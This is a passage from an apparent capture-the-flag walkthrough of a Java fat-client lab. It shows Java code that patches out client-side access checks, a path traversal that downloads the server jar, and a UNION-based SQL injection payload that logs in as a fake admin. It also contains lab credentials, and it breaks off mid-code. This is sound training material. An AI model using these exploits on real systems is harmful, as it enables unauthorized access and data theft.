username and password from the login form and creates a&nbsp;<code>User<\/code>&nbsp;object with this information.<\/li><li>It tries to establish a connection using the&nbsp;<code>getConnection()<\/code>&nbsp;function from the&nbsp;<code>Connection<\/code>&nbsp;class.<\/li><li>If a connection can be established, the previously generated&nbsp;<code>User<\/code>&nbsp;object is used to perform a login attempt.<\/li><li>If the login is successful, the client obtains the&nbsp;<em>rolename<\/em>&nbsp;for the current user from the&nbsp;<code>Connection<\/code>&nbsp;object. Depending on the&nbsp;<em>rolename<\/em>, the client enables certain parts of the user-interface.<\/li><li>Finally, the&nbsp;<code>Connection<\/code>&nbsp;and the&nbsp;<code>User<\/code>&nbsp;object are used to generate an&nbsp;<code>Invoker<\/code>&nbsp;object.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>This is actually all information we need to implement the login function within our own client. However, only implementing the login is kind of boring and we can already take a look how the different functions of the&nbsp;<em>fat client<\/em>&nbsp;are implemented. The probably easiest function is&nbsp;<code>Ping<\/code>&nbsp;and just searching for this term gives us the corresponding implementation:ping.addActionListener( new ActionListener() { <strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>String<\/strong> response = \"\"; <strong>try<\/strong> { response = invoker.ping(); } <strong>catch<\/strong> (MessageBuildException | MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, \"Failure during message building\/parsing.\", \"Error\", JOptionPane.ERROR_MESSAGE); } <strong>catch<\/strong> (IOException e2 ) { JOptionPane.showMessageDialog(controlPanel, \"Unable to contact the server. If this problem remains, please close and reopen the client.\", \"Error\", JOptionPane.ERROR_MESSAGE); } textPane.setText(response); } });<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The biggest part of this code is error handling stuff and the actual invocation of the ping function is just a single line:&nbsp;<code>invoker.ping()<\/code>. So it seems that the&nbsp;<code>Invoker<\/code>&nbsp;object is all we need to call the different functions that are exposed by the graphical user interface of the client. With this knowledge we should be able to write the first version of our own client, that performs a login and calls the&nbsp;<em>ping&nbsp;<\/em>method.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"ready-for-takeof\">3.7 \u2013 Ready for Take of<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>With the information we have collected so far, we can write the following simple skeleton for our own client:<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> ConnectionTest { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); System.exit(1); } User user = new User(\"qtc\", \"clarabibi\"); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); System.exit(1); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); Invoker invo = new Invoker(conn, user); <strong>String<\/strong> serverResponse = \"\"; <strong>try<\/strong> { serverResponse = invo.ping(); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } System.out.println(\"[+] Server response is: \" + serverResponse); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, most stuff of this code performs error handling and the actual productive code can be reduced to a few lines:conn = Connection.getConnection();User user = new User(\"qtc\", \"clarabibi\");conn.login(user)<strong>String<\/strong> roleName = conn.getRoleName();Invoker invo = new Invoker(conn, user);serverResponse = invo.ping();<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice that the&nbsp;<em>roleName<\/em>&nbsp;related stuff seems unnecessary, but since the server sends the&nbsp;<em>roleName&nbsp;<\/em>by default during the client-server communication, we would break the communication flow if we just ignore this message. Therefore, we need to make this call, even it does not provide any useful information for us.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you imported&nbsp;<em>fatty-client.jar<\/em>&nbsp;correctly and launch the above displayed code, you will get the following result:[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: Pong<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This output shows that we are now able to call the different methods of the client manually. The first thing that we can now test from this position, is how access control is handled on methods that were disabled for our user account. As an example, we can take the method&nbsp;<code>uname<\/code>&nbsp;that can be invoked by replacing&nbsp;<code>invo.ping()<\/code>&nbsp;with&nbsp;<code>invo.uname()<\/code>&nbsp;in the code displayed above. If access control would be implemented only by disabling the corresponding functions inside the graphical user interface, we would now already be able to call this method. However, unfortunately we get the following result:[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: Error: Method 'uname' is not allowed for this <strong>user<\/strong> account<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice that the string&nbsp;<code>Server response is<\/code>&nbsp;was added by our code and is no clear indication whether the error was thrown by the application server or our client. After searching for the string&nbsp;<code>not allowed for this user<\/code>, we find out that the class&nbsp;<code>htb.fatty.client.methods.Invoker<\/code>&nbsp;is throwing this error. By looking at the corresponding code, we can see that our local client is performing the access control checks:<strong>public<\/strong><strong>String<\/strong> uname() <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { <strong>String<\/strong> methodName = new Object(){}.getClass().getEnclosingMethod().getName(); logger.logInfo(\"[+] Method '\" + methodName + \"' was called by user '\" + <strong>this<\/strong>.user.getUsername() + \"'.\"); <strong>if<\/strong> (AccessCheck.checkAccess(methodName, <strong>this<\/strong>.user)) { <strong>return<\/strong> \"Error: Method '\" + methodName + \"' is not allowed for this user account\"; }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the relevant function is&nbsp;<code>checkAccess<\/code>&nbsp;from the&nbsp;<code>AccessCheck<\/code>class. To skip client side validation of method calls, we can just patch the&nbsp;<code>checkAccess<\/code>&nbsp;function in our own code to return always&nbsp;<em>false<\/em>. This should enable all methods for our low privileged user.&nbsp;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like already mentioned in the<em>&nbsp;fat client introduction<\/em>, in&nbsp;<em>Eclipse&nbsp;<\/em>it is sufficient to create a local version of the class that is then preferred by the class loader. The following minimal implementation should be sufficient:<strong>package<\/strong><em> htb.fatty.client.methods<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> AccessCheck { <strong>public<\/strong><strong>static<\/strong><strong>boolean<\/strong> checkAccess(<strong>String<\/strong> methodName, User user) { <strong>return<\/strong><strong>false<\/strong>; }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But when we run the method&nbsp;<code>invo.uname()<\/code>&nbsp;after applying the patch, we get the following error message:[+] Login succesful![+] Current role: userException in thread \"main\" java.lang.SecurityException: sealing violation: package htb.fatty.client.methods is sealed at java.net.URLClassLoader.getAndVerifyPackage(URLClassLoader.java:400) at java.net.URLClassLoader.definePackageInternal(URLClassLoader.java:420) at java.net.URLClassLoader.defineClass(URLClassLoader.java:452) [...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our new code is causing a&nbsp;<em>sealing violation<\/em>, since the package&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;is a se<em>aled package<\/em>. We have now two options, the first is to implement all classes of&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;in our own eclipse project. This prevents the mix of local classes with classes defined inside the&nbsp;<code>.jar<\/code>&nbsp;file, which is the reason for the&nbsp;<em>sealing violation<\/em>. The second one would be to unpack&nbsp;<em>fatty-client.jar<\/em>&nbsp;again and to remove the&nbsp;<code>Sealed: True<\/code>&nbsp;option from the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since there is only one other class inside of&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;(the&nbsp;<code>Invoker<\/code>&nbsp;class), we will choose the first option. We just copy the&nbsp;<code>Invoker<\/code>class from the decompiled code into our own project. Now&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;has a full local implementation and sealing should cause no problems anymore. We can now check again if we are allowed to invoke the&nbsp;<code>invo.uname()<\/code>&nbsp;method.[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: Error: Method 'uname' is not allowed for this <strong>user<\/strong> account<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No success. But by inspecting the network traffic that is caused by our client or by patching the error message that is used for client side violations, we can verify that this error message is now thrown by the application server. So it seems that access control is also implemented on the server-side (probably by using similar methods as on the client side). From here it is definitely worth to check all functions for&nbsp;<em>broken access control<\/em>&nbsp;issues, but we will find that for all methods server-side verification seems to be in place.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"off-by-one\">3.8 \u2013 Off by One<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>The next thing we are interested in is to check the file browsing functionalities within our own client. When looking at the&nbsp;<code>ClientGuiTest<\/code>&nbsp;class again, we can determine that a file listing for e.g. the&nbsp;<code>config<\/code>&nbsp;folder is obtained like this:<strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>String<\/strong> response = \"\"; ClientGuiTest.this.currentFolder = \"configs\"; <strong>try<\/strong> { response = ClientGuiTest.this.invoker.showFiles(\"configs\"); } <strong>catch<\/strong> (MessageBuildException | MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, \"Failure during message building\/parsing.\", \"Error\", 0); } <strong>catch<\/strong> (IOException e2) { JOptionPane.showMessageDialog(controlPanel, \"Unable to contact the server. If this problem remains, please close and reopen the client.\", \"Error\", 0); } textPane.setText(response);}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The function sets first of all a global variable&nbsp;<code>currentFolder<\/code>&nbsp;to the value&nbsp;<code>configs<\/code>&nbsp;and then calls the&nbsp;<code>showFiles<\/code>&nbsp;function on the&nbsp;<code>Invoker<\/code>&nbsp;object. The&nbsp;<code>showFiles<\/code>&nbsp;method is more interesting as&nbsp;<code>ping<\/code>&nbsp;or even&nbsp;<code>uname<\/code>, since it takes a parameter that is probably sent to the application server. From the client functionality we can guess, that the submitted parameter is the name of the desired folder on the server and we can now also test this parameter for&nbsp;<em>path-traversal vulnerabilities&nbsp;<\/em>(notice that from the&nbsp;<em>GUI&nbsp;<\/em>you are not able to modify this parameter at all). In our previously used code, we simply have to exchange the&nbsp;<code>invo.uname()<\/code>&nbsp;function with&nbsp;<code>invo.showFiles(\"&lt;payload&gt;\")<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After some testing, you will notice that the same filtering seems to apply as for the filename. As soon as the character sequence&nbsp;<code>\/..\/<\/code>&nbsp;is contained in the folder name, it gets stripped. However, as in the case of the&nbsp;<em>open<\/em>&nbsp;function a simple&nbsp;<code>..<\/code>&nbsp;payload does not get filtered. Therefore, we can at least take a look at the parent folder by using&nbsp;<code>invo.showFiles(\"..\")<\/code>.[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: logs tar start.sh fatty-server.jar files<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nice, we obtained a file listing for the parent folder! And even better,&nbsp;<em>fatty-server.jar<\/em>&nbsp;is contained in it! This is one of the most exciting situations during a<em>fat client penetration<\/em>&nbsp;test. If you find any way to download the application server executable, you can exactly determine how the different&nbsp;<em>fat client<\/em>functionalities are implemented on the server side. This makes the identification of&nbsp;<em>SQL&nbsp;<\/em>or<em>&nbsp;command injection<\/em>&nbsp;vulnerabilities a lot easier. The next step is to check how we can download these files by using our custom client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Looking at the&nbsp;<code>ClientGuiTest<\/code>&nbsp;class again, we can find that opening files is done by the following function call:<strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>if<\/strong> (ClientGuiTest.this.currentFolder == <strong>null<\/strong>) { JOptionPane.showMessageDialog(controlPanel, \"No folder selected! List a directory first!\", \"Error\", 0); <strong>return<\/strong>; } <strong>String<\/strong> response = \"\"; <strong>String<\/strong> fileName = ClientGuiTest.this.fileTextField.getText(); fileName.replaceAll(\"[^a-zA-Z0-9.]\", \"\"); <strong>try<\/strong> { response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName); } <strong>catch<\/strong> (MessageBuildException | MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, \"Failure during message building\/parsing.\", \"Error\", 0); } <strong>catch<\/strong> (IOException e2) { JOptionPane.showMessageDialog(controlPanel, \"Unable to contact the server. If this problem remains, please close and reopen the client.\", \"Error\", 0); } textPane.setText(response);<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two things that are interesting about this function:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It implements a client-side filtering, that removes characters that do not match regular expression&nbsp;<code>[a-zA-Z0-9.]<\/code>. This could mean, that filtering is only performed on the client-side and the server does not apply any filter at all.<\/li><li>The&nbsp;<code>open<\/code>&nbsp;function on the&nbsp;<code>Invoker<\/code>&nbsp;object does take two parameters. One is obviously the&nbsp;<em>filename<\/em>, while the second one is the value of the global variable&nbsp;<code>currentFolder<\/code>. We know that the&nbsp;<em>filename&nbsp;<\/em>parameter is filtered for&nbsp;<em>path traversal&nbsp;<\/em>attacks. However, as the&nbsp;<em>foldername&nbsp;<\/em>is not directly controlled by the user, it is likely that this value isn\u2019t filtered.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>After playing around a while with the&nbsp;<code>invo.open(\"foldername\", \"filename\")<\/code>&nbsp;function, it seems like&nbsp;<em>foldername<\/em>&nbsp;and&nbsp;<em>filename<\/em>&nbsp;are both filtered with the already known filter. So we have no way of injecting a&nbsp;<code>\/..\/<\/code>&nbsp;payload in one of these parameters. However, what is if&nbsp;<em>foldername<\/em>&nbsp;and&nbsp;<em>filename<\/em>&nbsp;are validated separately from each other? In this case we could submit&nbsp;<code>..<\/code>&nbsp;for the&nbsp;<em>foldername&nbsp;<\/em>and e.g.&nbsp;<code>start.sh<\/code>&nbsp;for the filename. If the two strings are filtered first and are then concatenated, this could allow us to download files from the parent folder. Lets give it a try and use a call to&nbsp;<code>invo.open(\"..\", \"start.sh\")<\/code>:[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: #!\/bin\/sh# Unfortunately alpine docker containers seems to have problems with services.# I tried both, ssh and cron to start via openrc, but non of them worked. Therefore, # both services are now started as part of the docker startup script.# Start cron servicecrond -b# Start ssh server\/usr\/sbin\/sshd# Start Java application serversu - qtc \/bin\/sh -c \"java -jar \/opt\/fatty\/fatty-server.jar\"<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cool, that worked fine. Having downloaded the&nbsp;<code>start.sh<\/code>&nbsp;script is a nice start and it already gives us some valuable information. The&nbsp;<em>fatty-server.jar<\/em>&nbsp;seems to run in an&nbsp;<em>alpine docker container<\/em>&nbsp;and&nbsp;<em>cron&nbsp;<\/em>and&nbsp;<em>ssh&nbsp;<\/em>services seem also to be present. This could come in handy, but first we are interested in downloading the&nbsp;<em>fatty-server.jar<\/em>&nbsp;application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem is now that our current code does only work for files that are human readable. Downloading an executable file containing some byte-code cannot be done by using the plain&nbsp;<code>invo.open(...)<\/code>&nbsp;call and we need to patch it a little bit. Let us first of all take a look at the original method implementation:<strong>public<\/strong><strong>String<\/strong> open(<strong>String<\/strong> foldername, <strong>String<\/strong> filename) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { <strong>String<\/strong> methodName = new Object() {}.getClass().getEnclosingMethod().getName(); logger.logInfo(\"[+] Method '\" + methodName + \"' was called by user '\" + user.getUsername() + \"'.\"); <strong>if<\/strong>( AccessCheck.checkAccess(methodName, user) ) { <strong>return<\/strong> \"Error: Method '\" + methodName + \"' is not allowed for this user account\"; } action = new ActionMessage(<strong>this<\/strong>.sessionID, \"open\"); action.addArgument(foldername); action.addArgument(filename); <strong>this<\/strong>.sendAndRecv(); <strong>if<\/strong>(<strong>this<\/strong>.response.hasError()) { <strong>return<\/strong> \"Error: Your action caused an error on the application server!\"; } <strong>String<\/strong> response = \"\"; <strong>try<\/strong> { response = <strong>this<\/strong>.response.getContentAsString(); } <strong>catch<\/strong>( Exception e ) { response = \"Unable to convert byte[] to String. Did you read in a binary file?\" ; } <strong>return<\/strong> response; }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see the function gets its response from&nbsp;<code>this.response<\/code>, which is a&nbsp;<code>ResponseMessage<\/code>&nbsp;object. Apart from&nbsp;<code>getContentAsString()<\/code>, the&nbsp;<code>ResponseMessage<\/code>&nbsp;class does also support a plain&nbsp;<code>getContent()<\/code>&nbsp;function, which returns a&nbsp;<em>bytearray<\/em>&nbsp;instead of a&nbsp;<em>String<\/em>. Inside our local&nbsp;<code>Invoker<\/code>&nbsp;class we can now create a new method e.g. with name&nbsp;<code>bOpen<\/code>, which simply does the same as&nbsp;<code>open<\/code>&nbsp;but returns the bytearray from a&nbsp;<code>getContent()<\/code>&nbsp;call:<strong>public<\/strong><strong>byte<\/strong>[] bOpen(<strong>String<\/strong> foldername, <strong>String<\/strong> filename) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { action = new ActionMessage(<strong>this<\/strong>.sessionID, \"open\"); action.addArgument(foldername); action.addArgument(filename); <strong>this<\/strong>.sendAndRecv(); <strong>return<\/strong><strong>this<\/strong>.response.getContent();}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To keep it short, we just skipped any error handling and throw exceptions instead. Now we need to write the bytearray to disk and we should get the executable&nbsp;<em>.jar<\/em>&nbsp;file. Here is the full code of our current client, that downloads the&nbsp;<em>fatty-server.jar<\/em>&nbsp;executable from the server:<strong>import<\/strong><em> java.io.FileOutputStream<\/em>;<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> PathTraversalFiles { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); } User user = new User(\"qtc\", \"clarabibi\"); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); Invoker invo = new Invoker(conn, user); <strong>byte<\/strong>[] serverResponse = <strong>null<\/strong>; <strong>try<\/strong> { serverResponse = invo.bOpen(\"..\", \"fatty-server.jar\"); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } FileOutputStream fos; <strong>try<\/strong> { System.out.println(\"[+] Saving file to '\/tmp\/fatty-server.jar'.\"); fos = new FileOutputStream(\"\/tmp\/fatty-server.jar\"); fos.write(serverResponse); fos.close(); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failed to save file from server.\"); System.exit(1); } }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After this&nbsp;<em>Java&nbsp;<\/em>code is executed, we can see that&nbsp;<em>fatty-server.jar<\/em>&nbsp;is written to the&nbsp;<code>\/tmp<\/code>&nbsp;directory:pentester@kali:\/tmp$ ls -lh fatty-server.jar-rw-r--r-- 1 pentester pentester 11M Oct 3 13:41 fatty-server.jar<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"sql-injection\">3.9 \u2013 The SQL Injection<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>Now that we have the server executable, we can also decompile it and take look at the source code. A good starting point is of course the login procedure, since we already got some hints that it is vulnerable to&nbsp;<em>SQL injection&nbsp;<\/em>attacks. To find the class that is responsible for the&nbsp;<em>SQL&nbsp;<\/em>query, we can simply start a search for strings like&nbsp;<code>SELECT<\/code>. We will find the class&nbsp;<code>htb.fatty.server.database.FattyDbSession<\/code>, which performs the user lookup during login.<strong>public<\/strong> User checkLogin(User user) <strong>throws<\/strong> LoginException { Statement stmt = <strong>null<\/strong>; ResultSet rs = <strong>null<\/strong>; User newUser = <strong>null<\/strong>; <strong>try<\/strong> { stmt = <strong>this<\/strong>.conn.createStatement(); rs = stmt.executeQuery(\"SELECT id,username,email,password,role FROM users WHERE username='\" + user.getUsername() + \"'\"); \/\/ To prevent bruteforce sql injection attacks <strong>try<\/strong> { Thread.sleep(3000); } <strong>catch<\/strong> (InterruptedException e) { <strong>return<\/strong><strong>null<\/strong>; } <strong>if<\/strong> ( rs.next() ) { <strong>int<\/strong> id = rs.getInt(\"id\"); <strong>String<\/strong> username = rs.getString(\"username\"); <strong>String<\/strong> email = rs.getString(\"email\"); <strong>String<\/strong> password = rs.getString(\"password\"); <strong>String<\/strong> role = rs.getString(\"role\"); newUser = new User(id, username, password, email, Role.getRoleByName(role), <strong>false<\/strong>); <strong>if<\/strong>( newUser.getPassword().equalsIgnoreCase(user.getPassword())) { <strong>return<\/strong> newUser; } <strong>else<\/strong> { <strong>throw<\/strong>(new LoginException(\"Wrong Password!\")); } } <strong>else<\/strong> { <strong>throw<\/strong>(new LoginException(\"Wrong Username!\")); } } <strong>catch<\/strong> (SQLException e) { logger.logError(\"[-] Failure with SQL query: ==&gt; SELECT id,username,email,password,role FROM users WHERE username='\" + user.getUsername() + \"' &lt;==\"); logger.logError(\"[-] Exception was: '\" + e.getMessage() + \"'\"); } <strong>return<\/strong><strong>null<\/strong>;}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>checkLogin<\/code>&nbsp;function is obviously vulnerable against&nbsp;<em>SQL injection&nbsp;<\/em>attacks, but&nbsp;<em>username&nbsp;<\/em>and&nbsp;<em>password&nbsp;<\/em>cannot be bypassed at the same time. The application uses the supplied&nbsp;<em>username&nbsp;<\/em>to fetch the corresponding database entry and then compares the entered password with the password from the obtained entry. So we cannot simply use a bypass like&nbsp;<code>' or 1=1 --<\/code>for both,&nbsp;<em>username&nbsp;<\/em>and password.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this is also not what we want. Remember that&nbsp;<em>Dave&nbsp;<\/em>told us, that&nbsp;<em>qtc&nbsp;<\/em>is the only user account that was kept in the database. Therefore, to login as another higher privileged user is not possible. Instead we could try to exfiltrate other information from the database, but also this sounds not very promising, since there is a manual query delay of three seconds.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is the&nbsp;<em>SQL injection&nbsp;<\/em>now unusable for us? The answer is no and exploiting this&nbsp;<em>SQLi&nbsp;<\/em>is actually pretty easy once you find the trick. We can simply use a&nbsp;<em>UNION<\/em>query to login with a&nbsp;<em>fake user account<\/em>&nbsp;that does not even exist inside the database. Consider e.g. the following&nbsp;<em>SQL&nbsp;<\/em>query:<strong>SELECT<\/strong> id,username,email,password,role <strong>FROM<\/strong> users <strong>WHERE<\/strong> username='nope' <strong>UNION<\/strong><strong>SELECT<\/strong> 1,'fake','fake@fake.fake','fakepassword','admin'<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since&nbsp;<code>nope<\/code>&nbsp;is no valid user account, the first&nbsp;<em>SELECT<\/em>&nbsp;query does not return anything. However, by using the&nbsp;<em>UNION<\/em>&nbsp;operator and a second&nbsp;<em>SELECT<\/em>statement, that just returns some static data, we can generate a result with user controlled values for the whole&nbsp;<em>SQL&nbsp;<\/em>query. The rest of the code, that is using the query result, will then take the faked&nbsp;<em>password&nbsp;<\/em>field with a value of&nbsp;<code>fakepassword<\/code>&nbsp;and compare it to the password that was entered during login. Since both values are user controlled, we can easily pass this check. Furthermore, the rest of the code will use the faked&nbsp;<em>rolename&nbsp;<\/em>field with a value of&nbsp;<code>admin<\/code>&nbsp;and will use this for access control checks. Summarized, the&nbsp;<em>SQLi&nbsp;<\/em>allows us to login as a non existing admin user. Sounds good!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there is one minor problem which prevents us from exploiting the&nbsp;<em>SQLi&nbsp;<\/em>from the graphical user interface. We already saw that the client sends the password as a hash to the server. When looking closer to the source code, we can see that the password hash is not hashed again on the server side. Instead the hash transmitted by the client is just compared against the password that is stored inside the database. By inspecting the&nbsp;<code>htb.fatty.shared.resources.User<\/code>&nbsp;class, we find the following function responsible for calculating the password hash:<strong>String<\/strong> hashString = <strong>this<\/strong>.username + password + \"clarabibimakeseverythingsecure\";MessageDigest digest = <strong>null<\/strong>;<strong>try<\/strong> { digest = MessageDigest.getInstance(\"SHA-256\");} <strong>catch<\/strong> (NoSuchAlgorithmException e) { e.printStackTrace();}<strong>byte<\/strong>[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the hash is calculated by using a string that also contains the&nbsp;<em>username<\/em>. If we now want to exploit the&nbsp;<em>SQLi&nbsp;<\/em>as mentioned above, we need to specify a&nbsp;<em>fakepassword&nbsp;<\/em>as part of the username and need to make sure that the client transmits the same&nbsp;<em>fakepassword&nbsp;<\/em>as the password hash value. This is basically a<em>&nbsp;chicken or the egg problem<\/em>&nbsp;and requires us to solve the following equation:x(y) = SHA-256(\"nope' UNION SELECT 1,'fake','fake@fake.fake','x(y)','admin'\" + y + \"clarabibimakeseverythingsecure\" )<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I\u2019m not an expert in cryptography, but solving this equation should not be possible in a reasonable amount of time. Therefore, the above mentioned&nbsp;<em>SQLi&nbsp;<\/em>cannot be exploited from the graphical user interface. Luckily, we have already our own client and have full control over what is transmitted to the server. In our own code, we should be able to correct the hashing issue and to exploit the&nbsp;<em>SQLi<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first thing we need to do is to determine when the hashing of the password occurs. By inspecting the&nbsp;<code>htb.fatty.shared.resources.User<\/code>class, we can identify that the password is directly hashed in the constructor function of the&nbsp;<code>User<\/code>&nbsp;object. Fortunately for us, there are multiple constructor functions for the&nbsp;<code>User<\/code>&nbsp;object and one of them allows to specify a boolean with name&nbsp;<code>hashed<\/code>. If set to&nbsp;<em>false<\/em>, the password will be stored as plain text inside the&nbsp;<code>User<\/code>&nbsp;object.<strong>public<\/strong> User(<strong>int<\/strong> uid, <strong>String<\/strong> username, <strong>String<\/strong> password, <strong>String<\/strong> email, Role role, <strong>boolean<\/strong> hash){ <strong>this<\/strong>(uid, username, password, email, role); <strong>if<\/strong>( !hash ) { <strong>this<\/strong>.password = password; }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For our exploit, all we need to do now is to use&nbsp;<code>hashed=false<\/code>&nbsp;during our user generation and to specify the above mentioned payload as the username. As a proof of concept, we can then try to access the&nbsp;<code>invo.uname()<\/code>&nbsp;function again and see if we are now allowed to call it. The corresponding code for the&nbsp;<em>SQLi&nbsp;<\/em>exploitation could look like this:<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> 